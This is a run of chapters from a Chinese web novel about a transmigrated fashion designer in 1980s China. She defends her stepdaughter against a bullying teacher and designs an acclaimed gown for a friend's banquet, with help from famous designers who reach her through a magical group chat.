“还出了什么事？”白老师的声调一下子提高，她用自己的下三白眼瞪着水非仙，“你关心过孩子的成绩吗？” 这话听得水非仙有些心虚，自从自己穿过来也有些日子，这段时间关于孩子的部分，她一门心思都在为小莲补身子上面，学习方面她确实没想起来。主要也是小莲太过乖巧懂事，水非仙就默认她的学习方面成绩应该是不错的。 水非仙偷偷观察小莲的反应，提起成绩，艾小莲就像泄了气的皮球，整个人十分害怕，那小模样看得水非仙感觉到有些不忍心，她连忙开口向老师道歉承认错误：“对不起老师，这方面确实是我作为妈妈疏忽了，老师您说得对。” 白老师听到水非仙的话，弯下腰开始在柜子里翻找起来，她从柜子中抽出一沓卷子出来，摔在水非仙的身前。“你看看，最上面的是你家女儿的卷子，你再和其他的孩子比一比。她的成绩，已经排在班里后面了，说白了，就是拖后腿的。”白老师边说边狠狠挖一眼艾小莲，这一眼下去，艾小莲的泪珠被吓得在眼眶中直打转。 水非仙拿起最上面艾小莲的卷子，认认真真看起来。女儿的字迹工整，卷面整洁，从这张卷子上就能看出它属于一位文静的小女孩，100分的满分，女儿两科都拿到94分的高分。其中，语文和数学被扣掉的几分，说实话这种评分标准在水非仙的眼中看起来很离谱。 她捧起卷子疑惑地问老师：“老师，这个看拼音填词，小莲这里虹光写得没错啊？怎么就打错了？” 那老师一脸傲气道：“你那阵学得和现在能一样吗？我们现在的课文学的是红光，她答的虹光不来自书本。自然是要打错的。” 水非仙还是不理解，只是没用课本上的词，就判定为错，这是什么道理？“老师，这道题的题目，也没说按哪一课学的内容来答。既然这答案没问题，题目本身也有问题没说清楚，就只是因为课本没学到就给孩子判错，会不会对孩子的将来产生不好的引导？” 白老师头往后仰，眼睛眯起来危险地盯着水非仙，似乎十分不满这位家长挑战自己权威的行为，她从下面的卷子中随意抽取几张甩给水非仙，指责道：“你看看，都坐在一个教室里，人家怎么都是满分，我这么跟你说，我们班，一个班将近60个学生，98分以下的只有一半不到。你女儿，只有94。” 说完，白老师战略性端起水杯喝水，刻意留出时间，等着看水非仙听到自己女儿比旁人差时惊慌失措的样子。 接下来的一切并没按她设想得来，水非仙将那张用来示范的卷子同自己的女儿一对比，满意夸赞女儿道：“小莲，不错啊。你的字迹可比这位考满分的好多了。你这几分扣的也不过就是单位名称忘记写了，都不是什么大问题啊。字迹清秀，长大以后比这些假把式有用多了。” 听到水非仙的话，白老师有些不敢置信，她不满地将杯子“哐”的一声砸在桌面上，她提高音量质问：“我就没见过你这样不负责任的家长！孩子现在才三年级，你有没有想过中考怎么办？高考怎么办？孩子上不了初中怎么办？” 水非仙看一眼办公室中另一位假装听不到这边对话的老师，压低声音哄道：“没事，老师，别生气，生气再把身体气坏了。初中那不是九年义务教育呢吗？再说现在学的这些，不是和中考高考关系都不大吗？总不能因为小莲忘记写两个单位名称就说孩子中高考成绩就不好了吧，那说不过去，太牵强了。何况啊，就算未来成绩不好也没什么，学习不好，总有其他方面好的。也不是只有这一条路能走。” 看着艾小莲学习的内容，可比当初自己上学时，简单多了。她实在想不通，这么轻松的课程为什么非要打压式教育。她是故意顶嘴的，她承认自己的行为多少有些冲动。对着顾客的时候，她什么气都能咽下去，也会尽量不去得罪人，可一旦事情和女儿有关，总是能轻易挑起她的脾气。门房的事这会儿早已被她抛诸脑后，此刻的她一步都不愿意让，哪怕是冲动行事，也比让今天的一切成为女儿的噩梦素 12.高级定制 《后妈每晚都水群[八零]》全本免费阅读 夹菜饼摊前，水非仙问起女儿：“你们老师今天三句话不离我没尽到责任。是在暗示我什么吗？还是有什么，妈妈不知道的？” 艾小莲低头思索片刻后，抬头道：“刚开学那两天，是教师节。同学们都给老师送过礼物，尤其是我同桌，直接送她了一盒高级月饼。听说是从最贵的酒楼里买的。我的话，连续两年什么都没送了。” 这个答案，确实有点出乎水非仙的意料。不怪她没想到，以她出生的年份，现在的教师队伍整体素质与她小时候那阵儿根本没得比。教师节收礼这种事，放在后世来说，简直就是天方夜谭，更别提拿收礼这事来针对孩子。 水非仙递过一个饼子给艾小莲，自己也陪着女儿一起站在路边啃起来。她一边啃一边给女儿分析：“今天这事儿，我算是把你们老师得罪到底了。接下来，她可能会格外针对你。我有几个建议，你听一下，毕竟是你的校园生活和你的老师。由你自己来选一下，妈妈该怎么处理。” 艾小莲边忙着吃边点头，连她自己都没意识到，在面对水非仙时，潜移默化之中，她又比从前放松上许多。 “这第一种方案嘛，妈妈准备好材料，去教育局，将这个事儿反映给上层领导，这么做的后果也许会造成白老师受处分哦。第二种方案，先按兵不动，看看这位老师是不是真的会为难你，也当给她个机会，若她真的敢再欺负你，妈妈到时候定会给你个交代。第三种方案，转学，或者转班，远离这个伤害你的人，你就安全了。”水非仙说完，又补充道：“妈妈不建议选第三种哦，当了逃兵可不代表问题就会解决。但这只是妈妈的看法，我不一定对，你要是想选完全可以选。” 听完水非仙的话，艾小莲认真思考起来。两分钟后，她抬头，“第二种吧。” “好，”水非仙点点头，也没追问女儿为什么这么选，她只告诉艾小莲：“你记着，若是后面她有任何针对你的行为，一定要第一时间告诉妈妈，不许藏着掖着。” “好。” “还有最后一件事，也是最重要的一件事。”水非仙认真看向女儿的双眼，“老师说的就不代表一定是对的，你记住，职业没有高低贵贱，三百六十行，行行出状元。任何职业做到极致那都是了不起。” 艾小莲点点头，也认真回答：“我知道的。”说完又因为害怕迟到大口吃起来。 听到女儿将整个饼子吃完后打出一声饱嗝，水非仙才放心地将她送去上课。但愿是自己误会，白老师与自己只是教育理念不同，她本身还是一位爱着学生的好老师吧。若真是误会，水非仙必会上门道歉。无论对方怎么说自己，水非仙都不在乎。但若是真如水非仙担心的那样，她再一次欺负小莲，那就别怪她翻脸无情，新仇旧账一起算。 离开东区小学后，水非仙决定先去牛大哥那里进些布料再回家中开始制作明天要出摊贩卖的衣服。心境与前几天不同的水非仙不再那么着急，她站在公交站台旁静静观察着路过的人。 大部分艺术创造者都有这点癖好，喜欢去观察每一个人生中的过路人，去幻想着他们要做什么事，有怎样的人生。水非仙自然也不例外，前世的她，经常喜欢点两杯咖啡，在咖啡店的落地窗前向下观望，一观察就能观察一整天的那种。每一个正在前行的人都是独一无二的，都能为她带来灵感的火花。 七点钟正好是上班上学的时间，成群结队的人，如糖豆罐子洒了一样，都在蹬着样子差不多的自行车前进。水非仙还在里面听到有人抱怨：“某某路又修路了，真不知道咋想的，还修个六车道八车道，满大街都没跑几辆车，真不知道这车道这么多给谁修的！”这话引起共鸣，好几个骑车的人都跟着暗骂起来。 水非仙静静听着这些人抱怨的声音。多么有意思啊，时代的声音。正在她听得起劲的时候，人群中，一辆桑塔纳以龟速在水非仙面前驶过，车子正常前行的路总是被人卡住，导致车上的司机在不断按喇叭。这个年代，人们骑车可是不分机动车道跟非机动车道的，反正你马路上也没跑几辆车，干脆就给自己用。不走在路中间已经很给面子。 车后座的窗户降下来，一位看上去不到二十岁，烫着罗马卷，穿着荷叶边衬衫搭配大红色蕾丝裙的女孩子坐在后座。她望着窗外的人山人海发愁道：“田叔叔，我就说那南瓜马车不会来这边啦。这下好了，被人堵得死死的，更是动弹不了了，这可怎么办啊？今天找不到，明天再找不到也来不及了啊！”女孩越说越着急，几乎快要哭出来。 南瓜马车？难道是在说自己？水非仙快步追上去，出声问道：“您好，或许您说的那辆南瓜马车属于我，请问有什么事吗？”还好眼前这辆车开得足够慢，水非仙轻而易举就追上车子。 半分钟后，水非仙坐进桑塔纳的后座里，面前的女孩子兴奋地打量着自己。“哦对了，忘记跟你自我介绍，我叫陈玲。Y市那家菌子火锅，就是我家开的！” 八九十年代，火锅店是非常受北方生意人欢迎的所在。陈玲家开的这家菌子火锅，是北方城市少见的稀罕吃食。凭借华丽的装修，以及锅子味道鲜美，再加上丰富的营养价值，在Y市虽然只有一家店，却也是生意兴隆。 “你说，让我给你设计礼服，是想要什么样子的？我看看我能不能做。”水非仙问道。 “好姐姐，你一定要可以才行，你不知道我听到有个能满足心愿的神仙教母，我有多高兴。你要是不帮我，我得被那些人欺负死！”说起讨厌的人，陈玲义愤填膺地骂道。 “讨厌的人，你指的是？”水非仙问。 “我啊，这次参加的不是别的，是我爸牌友的儿子。提起这个人我就生气。”司机田叔透过后视镜看着陈玲提起那人气呼呼的样子，抿嘴偷笑。 “这听上去很正常？” “正常什么啊！这人是我的未婚夫，不，很快就不是了。我要退婚。对，水姐姐，我想要你帮我设计的，就是参加他后天回国的庆功酒席上，我提退婚穿的衣服！” “那你总不会是要我给你设计一套不好看的衣服？好让他同意跟你退婚？”水非仙打 13.克里斯汀拉克鲁瓦 《后妈每晚都水群[八零]》全本免费阅读 陈玲用自家小轿车将水非仙送到牛叔那里，陪水非仙买好布料，又让水非仙给自己量过各项尺寸。测量完的水非仙本想坐公交回家，架不住陈玲的盛情难却，只得厚着脸皮同意对方将自己直送到起重机家属院的大门口。这件作品是自己来到这个世界第一件高定，目前她还没有什么具体的思路，水非仙也就没什么心思再与对方客气。 下车前，陈玲拦住水非仙再次叮嘱道：“那就这么说好了，明天我直接来你家试衣服，给你省点时间。你家的住址我已经记住了，三单元五零二。那就拜托了，请务必加油！” 水非仙点点头，带着布料下车。坐在起重机家属院中与人闲聊的赵春燕远远瞧见水非仙带着布料从一辆黑色桑塔纳中下来。她用胳膊捅一捅和自己闲聊着的邻居，往水非仙那儿不怀好意地努努嘴。 等水非仙路过的时候，赵春燕刻意放大声音阴阳道：“哎呀，就说这女人嘛，还是嫁一户好人家最重要。有些人那说话嚣张得就跟万元户一样。实际上就一个小摊位，这摊位还干一天就干不下去了，到头还是得走老路子。你们说这绕一大圈真是何苦呢？别看这能坐车的男人是风光。可能开上车的年纪还能小？这年龄大的人有的是手腕，哪是年轻姑娘能玩过的？我赵家人啊，别的不行，打赌那就没输过。你们放心，我们是不会为难娃娃的。” 赵春燕见水非仙低着头一副战败样子路过，心想自己估计猜得八九不离十，心里更加得意起来。 实际上，水非仙压根都没听到她在说什么。她低头是一直在看着手上冲动买下的布料，黑色的雪纺跟黑色的轻纱。她都不知道为什么，自己要为自己定这么复杂的选题。对方要华丽的主题，怎么就能拿起黑色的轻纱和雪纺呢？且不说能不能做出效果，陈玲才不到二十岁，即使做出来，会不会显得太过老气？又或者她能不能驾驭得住黑色的主题？ 群里的朗万前辈和罗兰前辈，怎么想都是不会碰这主题的类型。想到朗万前辈在相似主题上的复杂珠绣，水非仙就感到一阵头皮发麻。她只有一天的时间，交给自己独立完成是肯定来不及，又不是在参加《天桥风云全明星》，还是得摇人。之前看到群里说，后面将会开放群聊邀请，等下到家就试试看。 这么想着，水非仙健步如飞，一鼓作气冲回家中，将布料往桌子上一扔。就回到卧室闭上双眼。 珍妮朗万：早上好，水。如果我没猜错，群里要来新人了吧，毕竟我和伊夫都无法帮到你这次。真是太好了，终于能有人陪我聊天。你不知道，在聊有关艺术以外的话题上，伊夫就像个哑巴。而那位X先生，你不在的时候他就像消失了一样。真是无聊透顶。 伊夫圣罗兰：…… X：朗万前辈，我一直在的，只是比较忙。 珍妮朗万：看吧，我说得没错。 伊夫圣罗兰：…… X：…… 水非仙：确实是这样的，我试着邀请一下。 打完字的水非仙点开右上角详情页的省略号，在成员列表的后方找到一个加号。试着按上几下，接着退出详情页时，水非仙在心中默默祈祷，可一定要来一位能帮得上忙的前辈啊！ 几秒后，聊天界面上显示出系统提示：克里斯汀拉克鲁瓦加入群聊。 看到这个名字，水非仙感觉到自己这手气，不买彩票实在可惜。 珍妮朗万：欢迎新人。 伊夫圣罗兰：1。 X：你好。 接着X开始疯狂介绍群众的情况以及水非仙的情况，还有水非仙这个群主需要什么样的帮助，以及克里斯汀想要帮助水非仙需要进行怎样的操作，即使拉克鲁瓦先生在群里还一句话都没说。 克里斯汀拉克鲁瓦：等等，所以现在是说，这是真的罗兰先生和朗万前辈？然后我要帮助的，是这位水小姐是吗？ 珍妮朗万：是的 水非仙：是的，麻烦啦克鲁瓦前辈了。 克里斯汀拉克鲁瓦：好的，请稍等，我研究一下怎么使用。 几分钟后，克里斯汀拉克鲁瓦向水非仙发起通话。水非仙怀着忐忑的心情点击确定。 说起克里斯汀拉克鲁瓦今天可能少有人知，但此人实际上一度名气不小。甚至，他曾一度被称为继老佛爷卡尔拉格菲尔德与伊夫圣罗兰之后的第三人，并多次名列世界名师排行榜前五。受地中海古老文明的影响，他对美术、歌剧、音乐舞剧有着浓厚的兴趣，这一点也在他的设计作品上完整体现出来。他的风格就是以华丽和抓马著称。不过自他在1987年成立自己的品牌后，销售额连年亏损，直到2009年，他的个人品牌宣告破产，从此于奢侈品市场隐退。 水非仙一直认为这位事业上的腰斩纯属生不逢时，千禧年左右，时尚圈一直受几大时尚杂志巨头引导着走路。水非仙几乎都能想到那几家杂志主编在看到拉克鲁瓦先生这样的作品时，能翻出怎样的白眼，甚至会毒舌地吐槽这样的设计应该出现在cosplay的圈中而不是出现在秀场上。 但其实只要时间往后走个十几年，当市场的关注点从权威想要什么转向我想要什么之后，拉克鲁瓦先生这样非常有个人特色又吸睛的作品会非常吃香。甚至水非仙有看到不少品牌在为流量明星准备舞台装扮时，刻意会去选择抓马且华丽的作品。 水非仙再次睁眼时，眼前的景象着实有些出乎她的意料。她本以为会看到一栋极其华美的巴洛克式建筑，再不然也是《歌剧魅影》里面那样华丽的歌剧礼堂。可这些都没有出现。 她看到的是一把年纪的拉克鲁瓦先生，在夜空下坐在一条小河边，就这么安静地欣赏着眼前的一切。 水非仙不忍打断，她脚步放轻，就这么在拉克鲁瓦的身边坐下来，“这里真是令我意外，拉克鲁瓦先生。” 拉克鲁瓦轻抬嘴角，“这里是 14.珍宝轩 《后妈每晚都水群[八零]》全本免费阅读 灵感的火花点太过珍贵，当水非仙的脑海中出现大致想法的那一刻，她急忙同拉克鲁瓦前辈道谢，又马不停蹄地退出群聊，冲到厨房去为小莲准备食物。 在今天剩下的时间里自己估计都会保持闭关的状态，水非仙想，时间紧急，只能先让小莲凑合一天，等以后日子好些，一定要给孩子请个做粤菜的阿姨，好让她多多熬汤，给女儿补充营养。 水非仙匆忙蒸好米饭，先爆香葱末，接着将米饭下锅，加一点盐炒散。然后将饭堆在锅边，往锅子正中倒油，烧至七成熟，放入打散的鸡蛋后立刻与锅中的饭翻炒。水非仙看着成品，粒粒都沾上蛋液，很是满意。就将锅盖盖好，匆忙赶回卧室开始画设计图并准备动工。 水非仙在房中感到自己还没忙活什么，就听到门口传来响动的声音，这一上午就这么过去了，水非仙头也没抬，对着门外喊道：“小莲，锅里有蛋炒饭。今天先凑合一下，自己照顾好自己吃两顿哈。妈妈要忙，不好意思啦今天，” 喊完，水非仙听到艾小莲在外面回答道：“好。”随后外面的响动听上去像女儿刻意放轻她动作的力道，应该是怕打扰到自己。水非仙想到女儿贴心的样子，心里十分受用，女儿是妈妈的小棉袄，这话果然不错。 有女儿的支持，水非仙再没去理会外面的事，全部心思都在手头的作品上。天快亮起时，作品才终于完工，水非仙没体力再去欣赏，她倒在床上沉沉睡过去。 吵醒水非仙的是一阵敲门声，水非仙想起床去开门，无奈全身的力气早已耗尽，她想睁开眼睛都困难。等到她恢复一丝意识，想到刚才的敲门声，她立刻睁开眼，这都不知道过去多久了，不能是把陈玲锁在门外了吧？ 水非仙一个鲤鱼打挺从床上爬起，迎面对上陈玲那双笑嘻嘻的眼睛。看到水非仙起来，陈玲开心地同水非仙打招呼：“早上好啊，水姐姐，昨晚辛苦了。” 水非仙轻揉太阳穴，这样猛地起床真是很容易造成头晕，她“嘶”的一声开口：“你怎么进来的？这都几点了？小莲……完了，睡得太死忘记给她做早饭了。” “小莲？你女儿叫小莲啊，看着真可爱，就是她给我开的门，还告诉我她妈妈昨天忙到很晚，叫我等等，别叫醒你。你不用担心，我有买早点给你带过来，早上已经给她装了点带走了。” “那就好，多亏你了。先来看看你明天的战袍。”水非仙缓过神后，带着陈玲走向自己的衣柜。陈玲满怀期待的神情在水非仙打开衣柜的一瞬间愣住。 对方的反应着实令水非仙没有想到，她犹豫着开口：“你是不喜欢吗？不喜欢的话，时间应该来得及让我重做……” 陈玲听到水非仙的话总算回过神来，她的双手轻拍水非仙的双肩，不可思议道：“水姐姐，人太谦虚真的不是优点！我想过你做出来的成品会好看，但我没想到是这样。天呐，我都不知道自己在说什么，总之你要说它不好看，我会跟你急眼的。” 水非仙笑着摇摇头，“哪有你说得那么夸张？” 陈玲坚定道：“就是有！我不管，你明天的时间想办法空出来，归国宴你陪我一起去，我提前来接你。宴会上保证会有很多女孩子因为你这条裙子，不，是因为你这件作品疯狂的。再一看你又这么漂亮，还是我陈玲的好朋友。到那个时候我就说，我是你的联络人。想要找你，就得联系我。看她们再说我土。” 陈玲边说，两边的脸颊又气得鼓鼓的。 水非仙看着觉得可爱，掩面轻笑。“好，我明天陪你走一趟，多谢你了。”水非仙想一想，又补充道：“你可以稍微来得早一些，我可以顺便帮你编个合适的发型。” “那真是太好了，对了，水姐姐，它有名字吗？” “有，我为它取名叫绽放。” 第二天，宴会开始前，水非仙身穿紫色套裙坐在陈玲的桑塔纳里。今天的她，刻意找出自己一套低调又不失品味的套裙，既不会抢过陈玲的风头，又能看出穿衣人的审美不凡。 水非仙转过头再次确认一下陈玲的发型，开口问道：“我们既然都来了，为什么要坐在车里，不直接进去呢？” 陈玲竖起一根指头晃晃，以一种高深莫测的腔调道：“这你就是不懂了吧？重量级嘉宾那一般都是要压轴的，何况我进去的早就坐下了，没法展示。就在这个位置，咱们能看到别人，别人看不到我们，我确定重要嘉宾都进去了。我们再进去，这样就能一步到位，不需要进去后再找借口起身，走来走去。” 听到陈玲的回答，前排的艾小莲“噗嗤”一声笑出声来。 陈玲听见小莲的笑声，装模作样道：“好啊，小小年纪就敢嘲笑大人了。看我不挠你的痒痒肉。整到你再也不敢了。” 水非仙看着眼前打闹的二人，有些无奈，昨天陈玲不过给女儿一块小蛋糕，两个人就立刻熟络起来。今天早上陈玲找过来又带来不少好吃的，其中还有这年代非常新奇的拐杖糖，就陈玲陪着女儿一起玩了会儿拐杖糖，两个人还成好朋友了。从前女儿不是这样子的啊，即使真喜欢陈玲的性格也不会这么大胆的，女儿的性格还真是变了很多。 “说起来，小莲，妈妈跟陈阿姨一起进去要很久，你跟着田爷爷去兜风真的可以吗？”水非仙担心地问道。 艾小莲笑着朝水非仙点点头，“可以。” 田叔也在一旁保证道：“放心吧，我经常带我家孙子，我自己也喜欢小孩，保证给她哄得高高兴兴的。我们家大小姐，虽然年纪大些，那还没小莲成熟呢。平时去哪都是我跟着。” 陈玲听到田叔这么说，又不依地喊道：“田叔，怎么连你也欺负我……” 艾小莲听着陈玲耍宝的喊叫声笑得更开心了，看着女儿开心的样子，水非仙十分感恩。小莲的笑容是她最想看到的，但以女儿过往的经历，她的笑容又是自己最难看到的。水非仙当然明白，陈玲是故意在哄小莲开心，之前陈玲说要和自己当好朋友，水非仙还带着三分客套。此刻的水非仙暗自做出决定，从今以后她也会将 15.绽放 《后妈每晚都水群[八零]》全本免费阅读 “爸，大老远就听到你说我的不是。”女声的声音从大厅入口处传来，厅内所有人的注意力被齐刷刷地吸引过去。 李秋华，也就是李秋实的妹妹，因其父拥有西北最大的私营能源公司以及Y市产能第一的钢厂，属于这时代Y市的顶级“老钱”。李秋华从小就过着众星捧月的生活，时不时能和明星们在一张桌上吃晚饭的她，一直是女孩子中时尚的风向标。 她向来看不起那些愚蠢的“新钱”，从底层摸爬滚打出来的人，底层人的思维模式和品味习惯已经在这些人的身上留下深深的烙印。哪怕父亲教育她多次，陈家的珍宝轩未来大有可为，如今的陈家已经不比自家差在哪里，可她一看到陈玲的荷叶边衣服就能感到一股穷酸臭气扑鼻而来，连那个陈伯伯也是，永远都夹个鼓囊囊的黑色皮包在胳肢窝，走路还外八，说话总能露出他那颗金牙，生怕别人发现不了他是暴发户这一事实。 半年前父亲告诉自己，哥哥要和陈玲订婚，这消息让李秋华感到天都要塌了。她怎么能允许这样土里土气的女人成为她的嫂子，加入她的家庭？为让陈玲自己发现两家人的差距，知难而退主动退婚，这么长时间以来李秋华一直在有意无意向周围人灌输陈玲品味极差，衣品和乡下人一样土的观念。她的努力也确实收获到不错的反馈，在她的影响下，越来越多的女孩子开始同陈玲保持距离。 而陈玲自己，在长时间同时面对姑娘们背后的闲话与正面的嘲讽孤立后，开始变得急于证明自己。李秋华心里清楚，人越想证明自己时，往往越会用力过猛，越容易反向上分。今天，是哥哥李秋实回国的日子，以李秋华对陈玲的了解，她会为表现自己恨不得找一套夸张至极的婚纱穿在身上，那样的她想必从小挑剔的哥哥也不会喜欢，便能达到退婚的目的。更重要的是，还能让这位土老帽出出丑，想想就觉得痛快。 听到门口传来陈玲的声音，李秋华自以为一切尽在掌控之中，她得意扬扬地拿起高脚杯，假装在品酒故意不回头。却没想到陆陆续续听到有女孩子的惊呼声：“我的天呐，这真是太好看了，这还是陈玲吗？” 听到这话，李秋华的心猛然一跳，不对，她们在说什么？自己怎么听不懂。她立刻转过头看向门口进入那人，看到的一切让她睁大眼睛。 迎面而来的女子活泼灵动，身上穿的那条裙子，不，与其说是裙子，不如说是件艺术品。那条裙子由黑纱与黑缎制成，淡淡的黑色黑纱覆盖在黑缎的表面，只是浅浅一层，并没有过于浮夸的效果。而这轻盈的黑纱与黑缎相伴，在陈玲走路时，竟形成一种水流似的动感。这想表达的是水吗？ 这件抹胸裙只有一条斜着的肩带，似乎是由手工制成的一朵朵白中透着粉嫩的花朵组成，这花朵，从左边斜肩带的顶端，一直延展到对角线右侧裙子的末尾，花朵的分布从左上角的密集逐步过渡为右下角的稀疏。在陈玲走动时，随着裙子自身的摆动上下起伏，就好像落在水面的花朵，随着水面波动而摇摆一样。黑色的水面与这样鲜活颜色的花朵形成对比。让看到的人不难分辨出，这条裙子的主角不是那黑色的水面，而是那些代表着生命力的花朵。用死亡反衬生命。更令人叫绝的是，陈玲自己脸上那鲜活开朗的笑容，竟在无形中与这花朵的生命力相得益彰。看似美的是裙子，实际上裙子才是陪衬，就像这水与花朵的关系。 再看那陈玲，还梳着如同森林仙子一样的编发，衬托得她看上去如此明艳动人。陈玲的身后还跟着另一位女子，穿着a字紫色套装，线条简单，却不失品味，就如那位女子自己的气质一样，低调却不容忽视。两个人一前一后走在一起，很难不将周围的注意力，全部吸走。看着陈玲的样子，李秋华的手暗自用力，竟将手中的筷子在不自觉间掰成两段。 李秋华环顾全场，这一刻竟没有一个女孩子还能想到转过头来，看看她的脸色和心情，被忽视的感觉直接将陈玲打入地狱，她恨恨地看着陈玲朝着自己所处的主桌走来，无论如何，今天她定不会给陈玲好果子吃。 “爸！我今天美吗？”陈玲蹦蹦跳跳地赶到陈父身前，转了个圈。大方地展示自己。 “哎呀，你这是哪来这么一条裙子啊，你爸这种大老粗都能看出来是艺术品啊，里面怕是有门道的吧？”陈父转过身朝自己的挚友老李感叹道。老李听着老陈这么说，掏出自己的眼镜戴上，认真欣赏，也赞同地点点头。 “这裙子可来头不一般，它的设计师就在这里。”陈玲边说边将身后的水非仙推到身前，故意拉着她改变角度，好让在场的富家千金都能记住这个面孔。接着又对陈父说：“爸，跟你介绍一下，这是我最好的朋友水非仙，未来Y市，不，华国最厉害的设计师。” 水非仙感激地冲陈玲笑笑，向陈父轻轻点头，打招呼道：“陈伯父好，我是水非仙。”然后开始不紧不慢地介绍自己的作品，她的声音没有刻意去放大，却也是能保证在场的姑娘们都能听得到。 “这条裙子的名字叫绽放，不能看出来，裙子的主体是黑色的河流，我用它来表达的是工业废水这一元素。而水面上的花代表的就是生命力。所以在这里有两层含义，其一，有山重水复疑无路，柳暗花明又一村的含义。生命的绝处，仍有鲜艳的花朵飘过，借以表达生命力的顽强性，和永不言弃的精神。这第二，便是呼吁守护自然，花朵开得这样美，可它的身下却是已经被污染的水资源。如果继续放任对环境的破坏而不管，这样美丽的花还能飘多远？大概就是这样的内容。” 水非仙的话音刚落，陈父和李父带头鼓掌，接着全场响起雷鸣般的掌声。这掌声让水非仙一时恍惚起来，曾几何时，这样的掌声她经常听到，在自己每办一场秀时，每一个系列上台展示完后，自己都能听到这样全场响起的雷鸣般的掌声。来这里半个月，上辈子的事就好像已经过去很久，久到她都忘了掌声是什么样的感觉。从前的她，在面对掌声时极为麻木，她早已分不清，那声音要表达的是礼貌还是欣赏，所以当初的她并不在乎。可如今的她， 16.春华秋实 《后妈每晚都水群[八零]》全本免费阅读 “你倒是说说看，我怎么骗人了？”陈玲气极反笑，转头怒视李秋华。自己都要退婚了，怎么这人还阴魂不散？ “她！”李秋华伸出手指指着眼前的陈玲，转头对李秋实道：“她不过就是个暴发户，平时都是穿荷叶边衬衫配白裙子这种。举止言行粗鄙不堪，根本不配进咱们家门！” 李秋实感到几分头疼，自己的终身大事，自己的亲妹妹不仅不帮你，反而各种给自己平添阻力。他气得伸手捏捏睛明穴，咬牙切齿道：“很好，李秋华，你真的很好。我算是知道为什么陈小姐要这样拒绝我，原来是事出反常必有妖是吧？我才出国几年啊？你就这道行了？” 李秋华不敢相信地看着自己的哥哥，这不对，哥哥是那样挑剔的一个人，怎么不按照自己的想法中来？怎么还怪上自己了？他一定是看眼前的陈玲这次的打扮太过好看，色令智昏了！ 李秋华自认为自己背负着骂醒哥哥的重任，他又想到别的证据，上前一步道：“你不要看她今天穿得好看就信她不信我。你知道吗？这衣服她刚刚说的，就是她身边这个女人做的。这个女的我都没听过，那在Y市根本就没有大店，搞不好还是摆摊的，不过是瞎猫撞上死耗子罢了。会穿地摊货来参加宴会的人，能有什么素质……” 高歌再也听不下去，本来在看热闹的他听到这里轻咳两声，插嘴道：“不好意思打断下，我身上这套也是出自这位水小姐之手，声明一下没有任何看轻宴会的意思，实在是水小姐的手艺出众。” 李秋华听到面前这人的话感到更加气恼，她抬高音量问道：“还没问呢？你又是谁？从刚才到现在站这儿一声不吭。还看轻我们的宴会，你配吗？” “闭嘴！”李父快步赶上前，将女儿一把扯到身后，力道之大险些让李秋华绊倒。李秋华不敢置信地看向父亲，她不明白，怎么一切都和自己想象得不一样。从小李秋华就失去母亲，家中只有她一个女孩子，父亲和哥哥对她几乎是无有不从，她想要什么从来都能得到的。 李父赔着笑脸对高歌道歉着：“小高啊，别生气，我这女儿被我惯坏了，她今年不过也才十六岁，还是个孩子。看在秋实的面子上，你就别和她计较了。” 李秋华听到惯坏这个词感到格外委屈，她是做了什么十恶不赦的事吗？一直疼爱自己的爸爸居然能用被惯坏这样的词来形容她。她委屈地开口，声音带着哭腔：“爸？你变了，你不向着我还向着外人。” 李父转过头怒气冲冲瞪李秋华一眼，瞪得李秋华不敢再轻易说什么。李父又道：“让你好好学习你不听！这位高歌，是港城高家的公子。要不是你哥哥争气，和人家考上同一所大学，又成为室友。凭你老爹我的面子，都邀请不来人家高公子！” 高歌礼貌回答道：“李伯伯客气。还好有秋实这个同胞加挚友我一个人这几年才会不孤单，连我的普通话都是秋实教的。我这次会选Y市为起点来开拓内地市场，也是因为Y市是他的家乡，是他要回来发展的地方，我们一起打拼好有个伴儿。我和秋实跟亲兄弟一样，您可以不用见外。” 周围竖着耳朵在偷听的人此刻都有些震惊，嚯！港城高家，那可是站在金字塔尖尖上的，还能来Y市这样的小地方？今天真是沾了李家和陈家两家的福，也能见见顶级贵公子。不过话说回来，连这样百年世家的公子哥都在穿的衣服，哪还能有差的？ 本来就被陈玲身上的绽放惊艳到的女孩子们此刻暗自下定决心，无论如何，都要想办法搭上这位叫水非仙的女孩子。今天这一战，往后恐怕她就不好约了，实在不行就曲线救国，先讨好陈玲，通过她来联络这位水小姐也行啊。 几句话之间，这些女孩子的立场已经彻底改变，轻而易举就从李秋华的支持者改为陈玲的簇拥者。 “李伯伯抱歉，”陈玲冷不丁开口，“虽然您作为父亲已经对她进行过说教，可我还是想再说些什么。”本来对自家妹妹想着眼不见心不烦将自己头转向另一侧的李秋实，听到陈玲开口立刻又回过头来认真听着。 “孩子，跟你李伯伯还客气上了。你本来就该多管管她的。”李伯伯温柔道。 陈玲假装没听懂对方话语里暗示的内容，她只认真对着李秋华道：“之前你说我，带头孤立我，我从来不跟你当真。但这次不行，我必须要说什么，水非仙是我最好的朋友，我能容忍你说我，但你说她，不行。” 水非仙安抚性地轻拍陈玲的手，示意自己并不在意。陈玲却牢牢握住她的手，反过来对她露出一个安慰的笑容。 陈玲继续道：“你说我暴发户，没见识，我粗鄙，我衣品差，我都认。可你有没有想过，我喜欢的华丽样子没有错，就以我身上的这件为例，它也花里胡哨的不是吗？可它难看吗？这些繁杂的装饰他们本来都没错，只是能让它们发挥长处的设计师比较少而已，却不代表没有。也就是说，连我都能包容这些元素，连我都能包容与众不同的声音，而你却不行。你的世界太过狭小，小到但凡和你不一样的，你就觉得对方是异类。所以，到底是谁没见识？到底是谁粗鄙啊？你自己好好想想吧。”说完，她再也不看李秋华。 陈父听到女儿说的这些话，这才知道女儿这段时间遭受什么，他十分心疼，这门婚约不能再继续下去，他上前对着好友开口：“老李，既然如此，我看玲玲和秋实的婚约，不然就……” 陈父还没说完，李秋实急忙道：“李伯伯，请不要太轻易下决定，现在既然我已经回国了，不然就让我和陈小姐相处一段时间，再做决定，如果尝试以后陈小姐还是不愿意再说，以防我们未来后悔。” 陈父一向心软，他看着李秋实恳切的表情 17.低仿 《后妈每晚都水群[八零]》全本免费阅读 自上次的宴会后已经过去三天，当天宴会结束后，水非仙跟陈玲什么话都没留下直接离场。果然就在宴会结束的第二天，已经有几位从前和陈玲过节不大的富家千金找上陈玲，旁敲侧击地想要拜托陈玲帮忙约水非仙。 陈玲面上装出一副很为难的样子，勾得女孩子们又上门拜托她过几次后，才勉为其难地答应下来帮忙一试。 于是今天，在水非仙家中，陈玲带着好消息开心地上门拜访。 